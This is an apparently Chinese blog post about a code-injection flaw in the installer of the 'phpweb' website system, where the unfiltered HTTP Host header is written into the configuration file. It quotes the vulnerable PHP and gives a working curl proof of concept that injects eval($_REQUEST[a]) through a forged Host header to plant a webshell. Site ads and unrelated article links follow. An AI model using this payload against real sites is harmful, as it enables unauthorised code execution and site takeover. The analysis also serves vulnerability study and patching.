phpweb成品网站最新版(注入、上传、写shell)
注入:
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
分析:
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 $filestr = fread(fopen($SysConfigFile, 'r'),30000); $filestr=str_replace(" ","",$filestr); $filestr=str_replace("DefaultDbHost",$dbhost,$filestr); $filestr=str_replace("DefaultDbName",$dbname,$filestr); $filestr=str_replace("DefaultDbUser",$dbuser,$filestr); $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr); $filestr=str_replace("DefaultsLan","zh_cn",$filestr); $filestr=str_replace("DefaultTablePre",$tablepre,$filestr); $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr); fwrite(fopen($ConFile,"w"),$filestr,30000);
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
poc
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构